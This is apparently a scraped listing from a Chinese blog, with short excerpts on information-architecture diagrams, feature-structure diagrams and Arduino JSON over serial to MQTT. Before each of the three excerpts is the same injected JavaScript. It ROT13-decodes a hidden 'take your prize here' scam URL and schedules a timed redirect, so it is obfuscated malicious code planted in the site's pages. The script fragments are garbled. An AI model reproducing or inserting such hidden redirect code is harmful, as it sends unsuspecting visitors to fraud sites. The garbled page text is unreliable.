交互设计3-信息架构图

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
信息架构图

对产品信息的关系梳理、分类、组织,表达产品的信息结构,便于用户浏览检索。仅对信息数据进行整理,抛弃页面、流程的思维。
影响导航设计、产品结构设计、流程设计,也是数据库结构的参考。

解决“这个产品有什么?”

 

以服装店为例,那么就是解决服装店有什么?

可以看到,信息结构图会影响到布局,对应短视频社区会影响到导航的设计,从而间接的影响流程、数据库的设计。

交互设计2-功能结构图

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
功能结构图

对产品整体功能进行梳理,并按功能从属、层次关系进行排列,方便查漏补缺。

公式:能做什么?

举例,服装店的功能结构图:

短视频功能结构图

 

 

Arduino JSON的使用

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
生成一个JSON,串口输出

从串口输出结果,这样输出之后用另一个设备如ESP8266接收然后发送到MQTT服务器

JSON的接收(事实上这里可以直接把结果传给服务器,这里举个解析JSON的字符串的例子)